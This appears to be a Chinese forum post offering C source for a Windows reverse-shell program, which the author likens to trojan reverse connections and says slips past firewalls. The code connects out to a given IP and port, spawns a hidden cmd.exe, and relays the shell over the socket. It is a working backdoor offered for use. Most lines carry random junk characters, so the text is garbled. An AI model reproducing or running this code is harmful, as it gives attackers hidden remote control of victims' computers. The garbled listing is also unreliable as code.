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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \7$"i5  
*N{k#d/  
/* ============================== 9 MQwc  
Rebound port in Windows NT |KPNl\%ID  
By wind,2006/7 /Gb)BJk!  
===============================*/ Ho&f[T(  
#include S @!z'$&  
#include "_BWUY  
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#pragma comment(lib,"wsock32.lib") ?wIEXKI  
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void OutputShell(); |vG?H#y  
SOCKET sClient; ehe#"exCB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0f3>s>`M  
w9gfva$&  
void main(int argc,char **argv) (otD4VR_  
{ T|(w-)mv  
WSADATA stWsaData; y6G6wk;  
int nRet; O_ $zK  
SOCKADDR_IN stSaiClient,stSaiServer; [z;}^3b  
j#p3<V S4  
if(argc != 3) 23bTCp.d  
{ A~0yMww:$  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4QiV@#o:  
return; ,CqGO %DY  
} Lke!VS!P&  
81I9xqvSd~  
WSAStartup(MAKEWORD(2,2),&stWsaData); Ib/e\+H\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  aqi]5,  
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stSaiClient.sin_family = AF_INET; +^rt48${ y  
stSaiClient.sin_port = htons(0); (Nf!E[ }Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wI F'|"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n{m[ j+UG  
{ jEP'jib%  
printf("Bind Socket Failed!\n"); =6fJUy^M\  
return; ,K&L/*  
} Tz\v.&? $  
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stSaiServer.sin_family = AF_INET; CzDg?wb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &RHx8zScP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'auYmX  
zE}ry!{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^8?px&B y:  
{ RO'b)J:j9  
printf("Connect Error!"); K)n058PO  
return; Ogh,  
} '8@4FXK  
OutputShell(); ^O"o-3dte  
} .NF3dC\  
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void OutputShell() >4=7t&h  
{ wo86C[  
char szBuff[1024]; V4,\vgGu  
SECURITY_ATTRIBUTES stSecurityAttributes; 3 }#rg  
OSVERSIONINFO stOsversionInfo; zrC1/%T  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $TAsb>W!(  
STARTUPINFO stStartupInfo;  [cfXcl  
char *szShell; ,x[~|J!  
PROCESS_INFORMATION stProcessInformation; ob[G3rfd@Z  
unsigned long lBytesRead; 5'wFZ=>vMt  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9wC='  
u*7>0o|H:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i>pUTT _[  
stSecurityAttributes.lpSecurityDescriptor = 0; mJVru0  
stSecurityAttributes.bInheritHandle = TRUE; ]qk`Yi  
Q$yQ^ mG  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X#MC|Fzy@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uxW<Eh4H*  
)@ .0ai  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OeQ~g-n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j#H&~f  
stStartupInfo.wShowWindow = SW_HIDE; S09Xe_q  
stStartupInfo.hStdInput = hReadPipe; ]4 \6_J&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %w3tzE1Hq  
7U&<{U<  
GetVersionEx(&stOsversionInfo); E@Yq2FBpnn  
q-+_Y `_\  
switch(stOsversionInfo.dwPlatformId) G98fBw  
{ IfCa6g<&(  
case 1: ^/$U(4  
szShell = "command.com"; Bthp_cSmLs  
break; ?y[i6yN9  
default: 4(8BWP~.y2  
szShell = "cmd.exe"; O<?.iF%  
break; CL!s #w1I\  
} 0y;1D k!  
reNUIDt/c  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !F$o$iq  
92/_!P>  
send(sClient,szMsg,77,0); G8b`>@rZ  
while(1) ?ViU%t8J5  
{ 'FG@Rg (  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `] Zil8n  
if(lBytesRead) *!}bU`  
{ Xh*Nu HH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [XNDYaF8  
send(sClient,szBuff,lBytesRead,0); Uee$5a>(  
} zhI"++  
else 0T:U(5Y9  
{ 5^{).fig  
lBytesRead=recv(sClient,szBuff,1024,0); % hRH80W|  
if(lBytesRead<=0) break; `k9a$@Xg  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )6U^!95  
} $ 3.Y2&$T  
} Y0o{@)Y:  
eqU y>  
return; 7<93n`byM  
}
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